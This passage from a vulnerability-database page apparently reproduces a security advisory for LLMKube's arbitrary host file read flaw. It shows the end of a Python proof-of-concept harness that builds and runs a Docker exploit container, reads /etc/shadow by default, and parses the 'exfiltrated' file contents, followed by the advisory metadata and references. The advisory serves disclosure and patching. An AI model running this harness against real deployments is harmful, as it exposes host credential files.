successfully.\")\n\n\ndef run_poc(target: str) -\u003e str:\n \"\"\"Run the PoC container and return stdout.\"\"\"\n print(f\"\\n=== [PHASE 2] Running PoC against target: {target!r} ===\")\n result = run(\n [\n \"docker\", \"run\", \"--rm\",\n \"-e\", f\"VULN001_TARGET={target}\",\n IMAGE_NAME,\n ],\n capture=True,\n check=False,\n )\n combined = result.stdout + result.stderr\n print(combined)\n return combined, result.returncode\n\n\ndef parse_evidence(output: str, target: str) -\u003e dict:\n \"\"\"Extract key evidence markers from PoC output.\"\"\"\n lines = output.splitlines()\n exfil_lines = []\n in_block = False\n bytes_read = None\n step3_ok = False\n pass_line = None\n\n for line in lines:\n if f\"--- BEGIN EXFILTRATED FILE: {target} ---\" in line:\n in_block = True\n continue\n if \"--- END EXFILTRATED FILE ---\" in line:\n in_block = False\n continue\n if in_block:\n exfil_lines.append(line)\n if \"os.Open SUCCESS\" in line and \"bytes\" in line:\n step3_ok = True\n # Extract byte count \u2014 format: \"os.Open SUCCESS \u2014 N bytes read from ...\"\n import re\n m = re.search(r\"(\\d+)\\s+bytes\\s+read\", line)\n if m:\n try:\n bytes_read = int(m.group(1))\n except ValueError:\n pass\n if \"VULN-001 PASS:\" in line:\n pass_line = line\n\n return {\n \"step3_open_success\": step3_ok,\n \"bytes_read\": bytes_read,\n \"exfiltrated_lines\": exfil_lines[:10], # first 10 lines as evidence\n \"pass_line\": pass_line,\n }\n\n\ndef remove_image():\n \"\"\"Remove the PoC Docker image.\"\"\"\n subprocess.run([\"docker\", \"rmi\", \"-f\", IMAGE_NAME],\n capture_output=True, text=True)\n print(f\"[+] Image \u0027{IMAGE_NAME}\u0027 removed.\")\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=\"VULN-001 dynamic reproduction PoC for LLMKube\"\n )\n parser.add_argument(\n \"--target\", default=\"/etc/shadow\",\n help=\"File path to read inside the container (default: /etc/shadow)\"\n )\n parser.add_argument(\n \"--keep\", action=\"store_true\",\n help=\"Keep the Docker image after the run (default: remove)\"\n )\n parser.add_argument(\n \"--output\", default=os.path.join(VULN_DIR, \"phase2_result.json\"),\n help=\"Path to write phase2_result.json\"\n )\n args = parser.parse_args()\n\n build_command = (\n f\"docker build --no-cache -f {DOCKERFILE} -t {IMAGE_NAME} {BUILD_CONTEXT}\"\n )\n run_command = (\n f\"docker run --rm -e VULN001_TARGET={args.target} {IMAGE_NAME}\"\n )\n poc_command = f\"python3 {os.path.abspath(__file__)} --target {args.target}\"\n\n passed = False\n verdict = \"FAIL\"\n reason = \"\"\n evidence = \"\"\n\n try:\n build_image()\n output, returncode = run_poc(args.target)\n ev = parse_evidence(output, args.target)\n\n if returncode == 0 and ev[\"step3_open_success\"] and ev[\"bytes_read\"]:\n passed = True\n verdict = \"PASS\"\n exfil_preview = \"\\n\".join(ev[\"exfiltrated_lines\"][:5]) or \"(binary data)\"\n reason = (\n f\"LLMKube copyLocalModel()\uc774 Model.spec.source={args.target!r} \uac12\uc744 \"\n f\"\uacbd\ub85c \ud5c8\uc6a9\ubaa9\ub85d \uac80\uc0ac \uc5c6\uc774 os.Open()\uc5d0 \uc804\ub2ec\ud568. \"\n f\"isLocalSource()\uc640 getLocalPath() \uc2e4\ud568\uc218 \ud638\ucd9c\ub85c \uc7ac\ud604\ub428. \"\n f\"\ucee8\ud14c\uc774\ub108 \ub0b4 {ev[\u0027bytes_read\u0027]}\ubc14\uc774\ud2b8 \ud30c\uc77c \uc77d\uae30 \uc131\uacf5.\"\n )\n evidence = (\n f\"os.Open({args.target!r}) \uc131\uacf5 \u2014 {ev[\u0027bytes_read\u0027]}\ubc14\uc774\ud2b8 \uc77d\uc74c.\\n\"\n f\"\ud30c\uc77c \ub0b4\uc6a9 \uc55e 5\ud589:\\n{exfil_preview}\"\n )\n else:\n reason = (\n f\"PoC \ucee8\ud14c\uc774\ub108 \uc885\ub8cc \ucf54\ub4dc {returncode}. \"\n f\"os.Open \uc131\uacf5 \uc5ec\ubd80: {ev[\u0027step3_open_success\u0027]}, \"\n f\"\uc77d\uc740 \ubc14\uc774\ud2b8: {ev[\u0027bytes_read\u0027]}. \"\n f\"\uc2e4\ud589 \ub85c\uadf8\ub97c \ud655\uc778\ud558\uc5ec \uc624\ub958 \uc6d0\uc778 \ud30c\uc545 \ud544\uc694.\"\n )\n evidence = output[:1000]\n\n except Exception as exc:\n reason = f\"\uc7ac\ud604 \uc2e4\ud328 \u2014 \uc608\uc678 \ubc1c\uc0dd: {exc}\"\n evidence = str(exc)\n print(f\"\\n[!] ERROR: {exc}\", file=sys.stderr)\n\n finally:\n if not args.keep:\n remove_image()\n\n result = {\n \"passed\": passed,\n \"verdict\": verdict,\n \"reason\": reason,\n \"build_command\": build_command,\n \"run_command\": run_command,\n \"poc_command\": poc_command,\n \"evidence\": evidence,\n \"artifacts\": [\"Dockerfile\", \"poc.py\", \"exploit/main.go\", \"exploit/go.mod\"],\n }\n\n print(\"\\n=== [RESULT] ===\")\n print(json.dumps(result, ensure_ascii=False, indent=2))\n\n with open(args.output, \"w\", encoding=\"utf-8\") as fh:\n json.dump(result, fh, ensure_ascii=False, indent=2)\n print(f\"\\n[+] Result written to: {args.output}\")\n\n sys.exit(0 if passed else 1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-jw3m-8q7m-f35r",
"modified": "2026-11-18T21:18:02Z",
"published": "2026-11-18T21:18:02Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/defilantech/LLMKube/security/advisories/GHSA-jw3m-8q7m-f35r"
},
{
"type": "WEB",
"url": "https://github.com/defilantech/LLMKube/pull/981"
},
{
"type": "WEB",
"url": "https://github.com/defilantech/LLMKube/commit/ec2647fd4557962a971a1bc9435790b8e77ce961"
},
{
"type": "PACKAGE",
"url": "https://github.com/defilantech/LLMKube"
},
{
"type": "WEB",
"url": "https://github.com/defilantech/LLMKube/releases/tag/v0.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "LLMKube: Arbitrary Host File Read via Model.spec.source hostPath Injection"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.